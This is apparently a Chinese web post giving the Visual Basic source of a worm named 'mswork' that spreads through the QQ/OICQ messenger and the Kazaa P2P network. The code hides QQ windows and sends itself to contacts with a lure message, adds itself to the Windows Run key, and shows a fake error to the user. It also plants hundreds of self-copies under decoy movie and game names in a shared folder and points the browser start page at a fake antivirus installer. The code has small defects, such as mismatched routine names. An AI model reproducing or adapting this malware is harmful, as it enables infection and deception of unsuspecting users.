naoga

利用QQ&p2p的蠕虫iworm.mswork源码(VB)

Option Explicit
Dim ok As Boolean
Public iks As Integer, ok1 As Boolean
Dim send As Integer
Dim ASh As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const HWND_BOTTOM = 1
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Const WM_CHAR = &H102
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Const GW_CHILD = 5
Const GW_HWNDNEXT = 2
Public Const WM_KEYDOWN = &H100
Public Const HKEY_CURRENT_USER = &H80000001
Public Const VK_RETURN = &HD
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public Const RSP_SIMPLE_SERVICE = 1 '隐藏

Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&)
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1

Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" _
(ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect _
As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName _
As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&

Dim buf As String
Public nameall, name, passwordall, password, winstr As String
Dim i As Integer
Dim title, titleall, filepath As String

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long

If Dir(filepath) = "" Then
title = ""
titleall = ""
End If

length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length)

If InStr(title, "发送消息") Then '判断是否为 OICQ 的消息发送窗口
ok = False
Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
Call GetZiWin(app_hwnd)
End If
If InStr(title, "发送文件") And iks > -1 Then'判断是否为 OICQ 的文件发送窗口
iks = iks + 1
Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
ahs = app_hwnd
End If
If InStr(title, "打开") And iks > 0 Then判断是否为 OICQ 的文件发送窗口的打开窗口
iks = iks - 1
If iks = 0 Then
Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
ok1 = False
send = 0
Call GetZiWin(app_hwnd)
End If
End If
EnumProc = 1
End Function

Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
Dim vs As Integer

'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right$(buf, 4) = "Edit" And ok1 = False And send = 0 Then
Call PostMessage(window_hwnd, WM_CHAR, App.Path & "\" & App.EXEName & ".exe", 0)'输入模拟
send = 1
End If
If Right$(buf, 6) = "Button" And ok1=false and send <> 1 Then
Dim fff As String
fff = GetWinText(window_hwnd)
If InStr(fff, "打开") <> 0 Then
Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)'回车模拟
window_hwnd = ASh
End If
If InStr(fff, "发送") Then
Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
send = 2
ok1 = True
End If
End If
If Right$(buf, 4) = "Edit" And ok = False And ok1 <> False Then
Call PostMessage(window_hwnd, WM_CHAR, "BTW 给你个好东西：：请下载。。。", 0)'欺骗下载
ok = True
vs = 1
End If
If Right$(buf, 6) = "Button" And ok = True And vs <> 1 And ok1 <> False Then
Dim hdf As String
hdf = GetWinText(window_hwnd)
If InStr(hdf, "送消息") <> 0 Then
Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
ok = False
End If
End If

num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd

child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop

For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function

Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String

'通过 SendMessage 发送 WM_GETTEXT 取得值
GetWinText = ""
If window_hwnd = 0 Then Exit Function

txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function

txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
End Function

Sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置，大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "mswork.exe", "mswork.exe") 'mswork.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub

Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES

sa.bInheritHandle = 1
sa.lpSecurityDescriptor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
'If ynRun = 0 Then MsgBox "创建内存映射文件失败", vbQuestion, "错误"
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在，则提示并退出
' MsgBox "程序已运行！", vbQuestion, "错误"
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
AutoRun
p2p
Call MsgBox("程序内存0x00ce54出不可使用'read'", vbOKOnly, "错误")'欺骗用户。。。
if month(date)=9 and day(date)=4 then
call msgbox("祝张一生日快乐",vbOKOnly)
end if
if (month(date)+day(date))=13 then
call msgbox("郭宏硕出品。。。qq&p2pworm...名称：：mswork"&vbCrlf&"版本：：1.0.2bate b++"&vbCrlf&"e-mail::yan13.dl@163.com"&vbCrlf&"group::SRX-Iworm team",vbOKOnly,"版权信息")
end if
timmms
End Sub
Sub p2p()'p2p的传染模块
Dim sysdir As String
Dim k As Long
k = GetSystemDirectory(sysdir, 255)
Dim windir As String
windir = Left$(sysdir, (k - 6))
Call CreateFolder(windir & "\" & "fonts\^-^")
RegCT "\Software\Kazaa\Transfer\DlDir0", "012345:" & windir & "\" & "fonts\^-^"
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Baldur@Gate-Full Downloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\ScaryMovie2-FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\StarWars2 - CloneAttack - FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Spiderman-FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Shakira.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Gladiator-FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\AikaQuest3Hentai-FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\MoviezChannelsInstaler.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Zidane-ScreenInstaler.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\LordOfTheRings-FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\SIMS-FullDownloader.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\1.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\2.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\3.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\4.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\5.exe", 1
CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\StriderHyriu.exe", 1
dim xsd
XSD = 0
Do While XSD < 500
Randomize
dim num,num2
num = Int((5 * Rnd) + 1)
num2 = Int((100000 * Rnd) + 1)
If num = 1 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Rebeka-FullInstaler.exe", 1
If num = 2 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\BinLadenFucksss!!-FullGame.exe", 1
If num = 3 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\3~34" & num2 & ".exe", 1
If num = 4 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\666.exe", 1
If num = 5 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Minerva" & num2 & ".exe", 1
XSD = XSD + 1
Loop
nResult = Shell("start.exe https://..../NortonAntivirus2002UpdateInstaler.exe", vbHide)
RegCT "\Software\Microsoft\Internet Explorer\Main\Start Page", "https://..../NortonAntivirus2002UpdateInstaler.exe"
End
End Sub
Sub RegCT(regkey, regvl)'注册表写函数的简化
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = regkey '是启动项在注册表中位置，大家可能通过 regedit.exe 来查看
sKeyValue = regvl
Ret = RegCreateKey&(HKEY_CURRENT_USER, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub
Sub CreateFolder(NewDirectory As String)'用于创建新目录的函数
Dim sdt As String
Dim sca As SECURITY_ATTRIBUTES
Dim bsc As Boolean
Dim sp As String
Dim ict As Integer
Dim std As String
sp = NewDirectory
If Right(sp, Len(sp)) <> "\" Then
sp = sp + "\"
End If
ict = 1
Do Until InStr(ict, sp, "\") = 0
ict = InStr(ict, sp, "\")
std = Left(sp, ict)
sdt = Dir(std)
ict = ict + 1
sca.lpSecurityDescriptor = &O0
sca.bInheritHandle = False
sca.nLength = Len(sca)
bsc = CreateDirectory(std, sca)
Loop
End Sub
Sub timmm()'遍例窗体的定时监控函数
dim s as integer
s=0
do while s=0
sleep(1000)
iks = 0
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口（顶级和被所有窗口）
loop
End Sub